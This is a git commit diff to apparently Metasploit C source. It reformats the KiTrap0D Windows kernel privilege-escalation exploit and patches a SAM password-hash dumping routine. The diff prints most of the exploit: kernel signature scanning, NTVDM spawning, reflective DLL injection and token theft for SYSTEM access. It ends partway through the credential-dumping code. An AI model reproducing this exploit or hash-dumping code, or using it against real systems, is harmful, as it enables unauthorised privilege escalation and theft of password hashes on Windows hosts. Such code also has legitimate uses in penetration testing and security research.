This fixes garbled characters in lsass hashdump on some platforms
git-svn-id: file:///home/svn/framework3/trunk@13582 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
660d7ccfc6
commit
521b95b0c2
|
@ -3,190 +3,190 @@
|
|||
|
||||
// Known Bugs:
|
||||
// * Windows NT4 fails to map the NULL page, (exit code 'NTAV').
|
||||
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||
// * Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||
// * Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
// * Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||
|
||||
#include "precomp.h"
|
||||
#include "kitrap0d.h"
|
||||
#include "../../../../ReflectiveDLLInjection/LoadLibraryR.h"
|
||||
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||
{ "", -1 }
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||
{ "", -1 }
|
||||
};
|
||||
|
||||
/*
|
||||
* Scan the appropriate kernel image for the correct offset
|
||||
*/
|
||||
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC NtQuerySystemInformation = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
||||
PBYTE ImageBase = NULL;
|
||||
HKEY MmHandle = NULL;
|
||||
OSVERSIONINFO os = {0};
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
DWORD PhysicalAddressExtensions = 0;
|
||||
DWORD DataSize = 0;
|
||||
ULONG i = 0;
|
||||
ULONG x = 0;
|
||||
|
||||
// List of versions we have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if( !hNtdll )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
|
||||
if( !NtQuerySystemInformation )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
||||
|
||||
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
|
||||
|
||||
// Load the kernel image specified
|
||||
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
|
||||
if( !hKernel )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
|
||||
|
||||
for( x=0 ; ; x++ )
|
||||
{
|
||||
if( CodeSignatures[x].Version == -1 )
|
||||
break;
|
||||
|
||||
if( CodeSignatures[x].Version != Version )
|
||||
continue;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
|
||||
|
||||
// Scan for the appropriate signature...
|
||||
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
|
||||
{
|
||||
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
|
||||
{
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
|
||||
|
||||
*OffsetFromBase = i;
|
||||
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return FALSE;
|
||||
* Scan the appropriate kernel image for the correct offset
|
||||
*/
|
||||
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC NtQuerySystemInformation = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
||||
PBYTE ImageBase = NULL;
|
||||
HKEY MmHandle = NULL;
|
||||
OSVERSIONINFO os = {0};
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
DWORD PhysicalAddressExtensions = 0;
|
||||
DWORD DataSize = 0;
|
||||
ULONG i = 0;
|
||||
ULONG x = 0;
|
||||
|
||||
// List of versions we have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if( !hNtdll )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
|
||||
if( !NtQuerySystemInformation )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
||||
|
||||
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
|
||||
|
||||
// Load the kernel image specified
|
||||
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
|
||||
if( !hKernel )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
|
||||
|
||||
for( x=0 ; ; x++ )
|
||||
{
|
||||
if( CodeSignatures[x].Version == -1 )
|
||||
break;
|
||||
|
||||
if( CodeSignatures[x].Version != Version )
|
||||
continue;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
|
||||
|
||||
// Scan for the appropriate signature...
|
||||
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
|
||||
{
|
||||
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
|
||||
{
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
|
||||
|
||||
*OffsetFromBase = i;
|
||||
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Grab a useful Handle to NTVDM.
|
||||
*/
|
||||
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = {0};
|
||||
ULONG i = 0;
|
||||
|
||||
do
|
||||
{
|
||||
si.cb = sizeof( STARTUPINFO );
|
||||
|
||||
// Start the child process, which should invoke NTVDM...
|
||||
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
|
||||
|
||||
// Get more access
|
||||
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
|
||||
if( *hProcess == NULL )
|
||||
{
|
||||
TerminateProcess( pi.hProcess, 'SPWN' );
|
||||
CloseHandle( pi.hThread );
|
||||
CloseHandle( pi.hProcess );
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
|
||||
}
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
|
||||
|
||||
CloseHandle( pi.hThread );
|
||||
|
||||
CloseHandle( pi.hProcess );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
* Grab a useful Handle to NTVDM.
|
||||
*/
|
||||
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = {0};
|
||||
ULONG i = 0;
|
||||
|
||||
do
|
||||
{
|
||||
si.cb = sizeof( STARTUPINFO );
|
||||
|
||||
// Start the child process, which should invoke NTVDM...
|
||||
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
|
||||
|
||||
// Get more access
|
||||
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
|
||||
if( *hProcess == NULL )
|
||||
{
|
||||
TerminateProcess( pi.hProcess, 'SPWN' );
|
||||
CloseHandle( pi.hThread );
|
||||
CloseHandle( pi.hProcess );
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
|
||||
}
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
|
||||
|
||||
CloseHandle( pi.hThread );
|
||||
|
||||
CloseHandle( pi.hProcess );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
|
@ -204,8 +204,8 @@ BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
|
|||
|
||||
do
|
||||
{
|
||||
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
||||
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
|
@ -239,15 +239,15 @@ BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
|
|||
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hVdm = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
LPVOID lpServiceBuffer = NULL;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
HANDLE hVdm = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
LPVOID lpServiceBuffer = NULL;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
char cWinDir[MAX_PATH] = {0};
|
||||
char cVdmPath[MAX_PATH] = {0};
|
||||
char cCommandLine[MAX_PATH] = {0};
|
||||
DWORD dwExitCode = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
char cVdmPath[MAX_PATH] = {0};
|
||||
char cCommandLine[MAX_PATH] = {0};
|
||||
DWORD dwExitCode = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwServiceLength = 0;
|
||||
|
||||
|
@ -269,16 +269,16 @@ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
|
|||
if( !elevate_via_exploit_getpath( (char *)&cVdmPath, MAX_PATH ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );
|
||||
|
||||
// 2. Scan kernel image for the required code sequence, and find the base address...
|
||||
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
|
||||
// 2. Scan kernel image for the required code sequence, and find the base address...
|
||||
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
|
||||
|
||||
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
|
||||
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
|
||||
|
@ -298,59 +298,59 @@ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
|
|||
if( !hThread )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" );
|
||||
|
||||
// 5. Wait for the thread to complete
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
|
||||
WaitForSingleObject( hThread, INFINITE );
|
||||
|
||||
// pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread( hThread, &dwExitCode );
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
|
||||
|
||||
switch( dwExitCode )
|
||||
{
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
|
||||
// 5. Wait for the thread to complete
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
|
||||
WaitForSingleObject( hThread, INFINITE );
|
||||
|
||||
// pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread( hThread, &dwExitCode );
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
|
||||
|
||||
switch( dwExitCode )
|
||||
{
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hVdm )
|
||||
{
|
||||
TerminateProcess( hVdm, 0 );
|
||||
CloseHandle( hVdm );
|
||||
}
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
TerminateProcess( hVdm, 0 );
|
||||
CloseHandle( hVdm );
|
||||
}
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
|
|
@ -236,6 +236,7 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
|||
HANDLE hReadLock = NULL, hFreeLock = NULL;
|
||||
DWORD dwUsernameLength = 0, dwCurrentUser = 0, dwStorageIndex = 0;
|
||||
DWORD dwError = 0;
|
||||
DWORD i;
|
||||
|
||||
/* load samsrv functions */
|
||||
hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
|
||||
|
@ -319,9 +320,12 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
|||
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
|
||||
|
||||
/* allocate space for another username */
|
||||
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2) + 1;
|
||||
